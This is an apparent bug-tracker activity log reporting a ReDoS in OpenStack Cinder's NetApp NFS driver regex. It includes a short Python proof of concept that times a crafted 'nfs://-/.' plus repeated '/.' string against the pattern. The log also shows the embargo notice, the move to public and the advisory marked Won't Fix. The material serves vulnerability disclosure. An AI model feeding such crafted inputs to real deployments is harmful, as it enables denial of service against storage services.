Activity log for bug #2047686

Date Who What changed Old value New value Message
2023-12-29 08:47:52 lujiefsi bug added bug
2023-12-29 08:49:11 lujiefsi description see redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29 poc ``` import re import datetime nfs_loc_pattern = \ (r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)' r'*(/[^\/\\\\]+)$)') def split(x): string="nfs://-/." + "/."*x +"/" starttime = datetime.datetime.now() matched = re.match(nfs_loc_pattern, string, flags=0) endtime = datetime.datetime.now() print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds") split(3) split(30) split(300) split(3000) ``` What is redos : https://codeql.github.com/codeql-query-help/python/py-redos/ a redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29 poc ``` import re import datetime nfs_loc_pattern = \                 (r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'                  r'*(/[^\/\\\\]+)$)') def split(x):   string="nfs://-/." + "/."*x +"/"   starttime = datetime.datetime.now()   matched = re.match(nfs_loc_pattern, string, flags=0)   endtime = datetime.datetime.now()   print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds") split(3) split(30) split(300) split(3000) ```
2024-01-03 16:59:41 Jeremy Stanley description What is redos : https://codeql.github.com/codeql-query-help/python/py-redos/ a redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29 poc ``` import re import datetime nfs_loc_pattern = \                 (r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'                  r'*(/[^\/\\\\]+)$)') def split(x):   string="nfs://-/." + "/."*x +"/"   starttime = datetime.datetime.now()   matched = re.match(nfs_loc_pattern, string, flags=0)   endtime = datetime.datetime.now()   print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds") split(3) split(30) split(300) split(3000) ``` This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments. This embargo shall not extend past 2024-04-02 and will be made public by or on that date even if no fix is identified. What is redos : https://codeql.github.com/codeql-query-help/python/py-redos/ a redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29 poc ``` import re import datetime nfs_loc_pattern = \                 (r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'                  r'*(/[^\/\\\\]+)$)') def split(x):   string="nfs://-/." + "/."*x +"/"   starttime = datetime.datetime.now()   matched = re.match(nfs_loc_pattern, string, flags=0)   endtime = datetime.datetime.now()   print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds") split(3) split(30) split(300) split(3000) ```
2024-01-03 16:59:53 Jeremy Stanley bug task added ossa
2024-01-03 16:59:59 Jeremy Stanley ossa: status New Incomplete
2024-01-03 17:00:20 Jeremy Stanley bug added subscriber Cinder Core security contacts
2024-01-04 14:19:23 Jeremy Stanley description This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments. This embargo shall not extend past 2024-04-02 and will be made public by or on that date even if no fix is identified. What is redos : https://codeql.github.com/codeql-query-help/python/py-redos/ a redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29 poc ``` import re import datetime nfs_loc_pattern = \                 (r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'                  r'*(/[^\/\\\\]+)$)') def split(x):   string="nfs://-/." + "/."*x +"/"   starttime = datetime.datetime.now()   matched = re.match(nfs_loc_pattern, string, flags=0)   endtime = datetime.datetime.now()   print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds") split(3) split(30) split(300) split(3000) ``` What is redos : https://codeql.github.com/codeql-query-help/python/py-redos/ a redos at https://github.com/openstack/cinder/blob/71c021c501489840f92e60ba6bcce5532b451dc8/cinder/volume/drivers/netapp/dataontap/nfs_base.py#L855C13-L855C29 poc ``` import re import datetime nfs_loc_pattern = \                 (r'^nfs://(([\w\-\.]+:{1}[\d]+|[\w\-\.]+)(/[^\/].*)'                  r'*(/[^\/\\\\]+)$)') def split(x):   string="nfs://-/." + "/."*x +"/"   starttime = datetime.datetime.now()   matched = re.match(nfs_loc_pattern, string, flags=0)   endtime = datetime.datetime.now()   print ("string length = " + str(x) + " time cost=" + str((endtime - starttime).seconds) + " seconds") split(3) split(30) split(300) split(3000) ```
2024-01-04 14:19:28 Jeremy Stanley information type Private Security Public
2024-01-04 14:19:39 Jeremy Stanley tags security
2024-01-04 14:19:45 Jeremy Stanley ossa: status Incomplete Won't Fix